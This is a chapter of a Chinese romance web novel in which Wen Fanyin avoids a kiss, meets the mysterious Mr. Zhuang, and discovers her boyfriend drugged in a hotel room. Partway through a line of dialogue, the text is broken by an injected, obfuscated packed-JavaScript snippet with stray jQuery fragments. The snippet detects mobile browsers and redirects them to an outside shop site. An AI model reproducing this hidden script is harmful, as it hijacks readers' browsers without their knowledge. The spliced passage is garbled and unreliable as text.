在许淮安即将吻上她的一瞬间,一阵急促的手机铃声从她的包里传出,她如蒙大赦借偏头拿手机的动作避开了他的吻。
温梵音朝许淮安投以一个歉意的眼神,紧握着手机贴在耳边,像是干涸已久的鱼儿重新回归海洋,得以大肆呼吸。
温梵音久久没有听到对面说话,有些疑惑,她刚刚神志有些混乱,没有看来电人便接起了电话。
不过现在众目睽睽下,她也不可能将手机重新拿下来看,所以哪怕对方没有出声,她也要自导自演。
温梵音将对方当作是推销住房的骚扰电话,用英语礼貌回道:“不好意思,我现在没有买房子的意愿。”
哪知她话刚落,手机那头响起一道意味不明的轻笑。
随后传来熟悉的腔调:“抱歉,温小姐,我不知道怎么误触到手机,居然给你打了电话。”
“不过温小姐,我确实有几栋在售楼房,等你有意愿买房的时候,可以联系我,看在你愿意将庄某当作朋友的面子上,我会给仅你可有的优惠。”
温梵音闻言额角微微一跳,语调却如常:“好的,我会考虑。”
庄则韫声音儒雅:“那好,就不打扰温小姐了。”
随着电话挂断,她看了一眼联系人,她备注了庄先生。
耳边响起许淮安的关切,她抬眸看他,解释:“卖房的骚扰电话。”
有人叫嚣着继续,但刚刚烘托出来的暧昧氛围早就被打破了。
不知道是不是她刚刚躲闪的动作有些明显,许淮安尊重的意愿,不再强求,为了她的面子,主动承担了惩罚的三杯酒。
她看着许淮安一杯酒接着一杯下肚,想到刚刚自己的失态,捏了捏指尖,等又玩了几局她才借着包厢里烟味有些重,要出去透透气的理由退出了游戏。
许淮安闻言转头看她,他额前的碎发遮住了眉,询问:“需要我陪你吗?”
温梵音摇头:“不用。”
许淮安站起身,将他的外套披在她肩膀上:“好,不要走远了,外面冷。”
她点头快步走向包厢门口,推门离开。
不过没走出来多远便撞见了一位熟人,罗德里克教授。
她头微微一偏,又见一位熟人,不久前还在和她讨论卖房事宜的男人,庄则韫。
男人头发打理得干净利落,上身只穿了一件黑色衬衫,领口的扣子一丝不苟的系到了最顶端,手臂戴有袖箍,宽肩窄腰,衬衫下摆别进了西装裤腰。
垂在身侧的手夹着一支带着猩红的雪茄,手背上的淡青色脉络微微凸起,一直延伸至袖口深处,整个人矜贵又沉稳。
温梵音虽然好奇他们两人的关系,但还是打算先离开,不过男人却察觉她的打量,朝她看过来,对她颔首致意。
随后他像是对罗德里克教授说了什么,罗德里克教授看了她一眼。
紧接着,温梵音见庄则韫告别罗德里克教授,将雪茄熄灭扔进了一旁的垃圾桶里后,朝她走过来。
出于礼貌,她站在原地没离开。
庄则韫站定在她面前,声音低沉中带着磁性,极有辨识度:“温小姐,好巧。”
话落,庄则韫看见女生肩头披的外套,浅绿色的眸子微闪,薄唇轻启:“温小姐和男朋友一起来的?”
温梵音随着他的视线低头看见了肩头的外套,点头:“嗯。”
随后想到他那件外套还在她的公寓里,提醒他:“庄先生什么时候有时间,我将你的外套还给你。”
庄则韫眉头微蹙,像是有些为难:“我近期可能抽不出时间,还得劳烦温小姐替我保管一下。”
温梵音心底很想拒绝,但面上还是答应下来。
除开她还欠他一个帮他作画的人情,温梵音不太想和他有过多的联系,哪怕他确实算得上是绅士。
因为她看不透他,而且她从小到大的直觉告诉她,最好远离对方。
温梵音开口:“庄先生,如果没什么事的话,那我先走了。”
庄则韫润声道:“好,回见。”
温梵音没有犹豫,起步离开。
庄则韫看着女生离开的背影,视线落在她肩上的外套上,眼底神色不明。
—
等温梵音从外面透完气重新回到包厢之后,发现许淮安还在喝酒。
她一时不知道是不是因为她刚刚的态度伤到他了,她走过去拦住他拿起酒杯的动作。
“淮安,别喝了。”
男生抬眸看她,眼底已经也些许醉意:“好,不喝了。”
男生突然站起身,将她紧紧抱进怀中,喃喃出声:“音音,我爱你,你爱我吗?”
温梵音浑身一顿,心道他是不是也发觉到什么了,她错开话题:“你喝醉了,我送你回房间。”
男生似乎真的醉了,也没有执着的要她的答案。
温梵音扶着他往外走,好在他订的房间就在洲际酒店。
等将人安置好,她才关门离开。
坐在回公寓的网约车上,温梵音偏头看着车窗外被大雨模糊的晕黄霓虹灯。
她知道她不能一直靠这段欺骗的关系来躲避那人的威胁,况且今天许淮安的表现已经表明他开始起了疑心,或许应该尽快结束这场荒诞的关系。
温梵音太阳穴又开始隐隐作痛,她闭上眼睛。
下一秒,手机振动了两声,她睁眼,打开手机,看到那则消息,瞳孔震颤,立刻开口:“师傅,麻烦往回走!”
直到她关闭了手机,那张图片和那则短信也不断钻进她的大脑:
「音音啊,我帮你考验一下许淮安,如果他真的爱你,应该能坚持住吧?」
而那张图片赫然是许淮安在酒店房间里的照片,不过照片里的男生脸色明显红润得不对劲,结合这则消息,温梵音不敢再往下想。
他简直丧心病狂,竟然开始针对许淮安了!
等出租车重新停在酒店门口,温梵音顾不得外面还下着大雨,立刻推开车门下车,但是没有注意到脚下有一个水坑,一脚踩进去,鞋子都被打湿了。
她没管,继续往里面跑去。
与此同时,不远处本来要驶离的车停下,车窗缓缓降下,看着女生顶着雨跑进酒店的狼狈身影。
这边,温梵音刚到许淮安的房间门口,发现门竟然是打开的。
她走进去,待看到卧室里的场景,却像是被人闷头打了一棒。
她没想到那人找来试探她的人不是陆子瀛,而是一个她怎么也没想到的人,也是,那人最是会看人心,知道怎样合理利用。
纪简曦身上裹着被子,坐在床上埋头哭泣。
陆子瀛站在床前,脸色难看至极,声音愤慨又绝望:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677112|207524||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你就这么喜欢他?!喜欢到用这种下贱法子?!”
纪简曦没有任何回应,只是抱着被子不停的哭泣。
温梵音回过神走进去,引起了房间里两人的注意,陆子瀛看见她微微皱眉。
而纪简曦看见她竟然抱着头尖叫,想来是没有料到她会折返回来。
温梵音暂时没有精力去理会她突如其来的羞耻,环顾一圈,并没有看见许淮安,不过听见浴室里传来的水声。
她快步走上前,用力敲打浴室门:“淮安,你在里面吗?你怎么样了?”
过了好一会儿里面才传来男生压抑的声音:“音音,你先回去。”
温梵音张了张嘴:“你……”
但她的话还没说完便被打断,对方语气加重:“音音,你先回去!”
温梵音知道他是觉得难堪,也不再强求,顶着湿漉漉的头发再次开口:“好,照顾好自己。”
她告诉自己,至少目前看来还没有发生难以挽回的结局。
她转身,朝纪简曦他们两人走去,床上的女生看见她立刻用被子罩住自己的头。
温梵音知道跟她说不清楚,看向陆子瀛:“麻烦你帮忙照顾一下淮安。”
她语气微顿,看了一眼纪简曦,示意他:“注意安抚她的情绪。”
陆子瀛看着她都满身狼狈了还不忘关心别人,轻嗤反问:“照顾淮安不该是你这个女朋友的责任吗?”
温梵音淡声解释:“你也听到了,淮安现在估计不想看见我。”
正巧这时,有私人医生进来,她看了一眼陆子瀛,知道是他叫来的。
虽然她不知道陆子瀛为什么比她先一步阻止这件事情的发生,但她知道,他估计是最不想看到这种事情发生的人。
“谢谢。”她真诚道谢后转身离开。
“靠!都他妈的什么破事!”陆子瀛狠狠地踹了一脚一旁的书桌,桌子上的东西晃动着往下掉。
哐当声接二连三在她身后响起,纪简曦的惊吓声也随之响起。
这些事温梵音不知道,她下楼后,站定在酒店大门口,雨势没有减弱的趋势。
凉风一吹,携带着丝丝雨吹向她,有些冷,她一只手环抱着胳膊,一只手打开手机准备打车。
前方一道刺眼的车灯直直的向她射过来,她用手遮了遮眼睛,车却停在她面前,她以为有人要下车,打算挪开几步,不挡着道。
只不过还没等她挪开,后座车窗缓缓降下来,些许灯光投进车内,露出了一张堪称完美的侧脸,下颌角线条清晰落拓,在路灯照射下,侧脸上还有些阴影,明暗晦涩。
温梵音看见侧脸就认出来了,唯一不同的是,他鼻梁上此刻戴着一副无边框眼镜,更添了几分斯文儒雅。
她还以为他早就离开了,出于礼貌,还是开口:“庄先生。”
男人微微偏头,目光落在她身上,微笑,声音沉稳儒雅:“温小姐,还没打到车吗?我送你?”
温梵音本来想拒绝,但脑海里突然出现他和罗德里克教授相谈甚欢的画面。
她想要在摆脱那人后留一条后路,那就需要获得沃昔画社的认可,而完美顺利的筹办好画展就是她的机会。
庄则韫认识罗德里克教授,这无疑是一个对她有利的信息。
她捏了捏指尖,敛眸:“那就麻烦庄先生了。”